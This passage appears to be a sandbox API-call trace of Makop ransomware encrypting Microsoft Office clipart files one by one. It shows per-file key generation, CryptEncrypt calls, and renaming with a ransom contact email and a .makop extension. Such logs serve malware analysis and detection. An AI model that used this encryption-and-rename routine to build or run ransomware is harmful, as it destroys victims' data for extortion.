returned 1 [0113.807] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0113.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.809] GetProcessHeap () returned 0x48a0000 [0113.809] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.809] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.809] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0113.812] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.813] GetProcessHeap () returned 0x48a0000 [0113.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.813] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.814] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.814] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.814] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4604, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4604, lpOverlapped=0x0) returned 1 [0113.815] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4610, dwBufLen=0x4610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4610) returned 1 [0113.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4610, lpOverlapped=0x0) returned 1 [0113.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x46e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.816] SetEndOfFile (hFile=0xf0) returned 1 [0113.822] GetProcessHeap () returned 0x48a0000 [0113.822] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.822] GetProcessHeap () returned 0x48a0000 [0113.822] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.822] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.824] CloseHandle (hObject=0xf0) returned 1 [0113.824] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0113.824] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0113.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.826] GetProcessHeap () returned 0x48a0000 [0113.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.826] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.831] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.831] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.831] GetProcessHeap () returned 0x48a0000 [0113.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.832] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.832] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x79cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x79cc, lpOverlapped=0x0) returned 1 [0113.834] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x79d0, dwBufLen=0x79d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x79d0) returned 1 [0113.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x79d0, lpOverlapped=0x0) returned 1 [0113.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.835] SetEndOfFile (hFile=0xf0) returned 1 [0113.841] GetProcessHeap () returned 0x48a0000 [0113.841] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.841] GetProcessHeap () returned 0x48a0000 [0113.841] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.841] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.842] CloseHandle (hObject=0xf0) returned 1 [0113.843] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0113.843] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0113.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.843] GetProcessHeap () returned 0x48a0000 [0113.843] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.843] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.844] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.844] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0113.848] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.848] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.848] GetProcessHeap () returned 0x48a0000 [0113.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.848] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.848] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.849] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.849] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.849] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.849] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x329e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x329e, lpOverlapped=0x0) returned 1 [0113.851] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x32a0, dwBufLen=0x32a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x32a0) returned 1 [0113.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x32a0, lpOverlapped=0x0) returned 1 [0113.851] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.851] SetEndOfFile (hFile=0xf0) returned 1 [0113.858] GetProcessHeap () returned 0x48a0000 [0113.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.858] GetProcessHeap () returned 0x48a0000 [0113.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.858] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.859] CloseHandle (hObject=0xf0) returned 1 [0113.860] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0113.860] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0113.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.860] GetProcessHeap () returned 0x48a0000 [0113.860] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.861] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.866] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.866] GetProcessHeap () returned 0x48a0000 [0113.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.866] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.866] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.866] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.867] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9b8, lpOverlapped=0x0) returned 1 [0113.868] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9c0) returned 1 [0113.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9c0, lpOverlapped=0x0) returned 1 [0113.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.868] SetEndOfFile (hFile=0xf0) returned 1 [0113.874] GetProcessHeap () returned 0x48a0000 [0113.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.874] GetProcessHeap () returned 0x48a0000 [0113.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.874] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 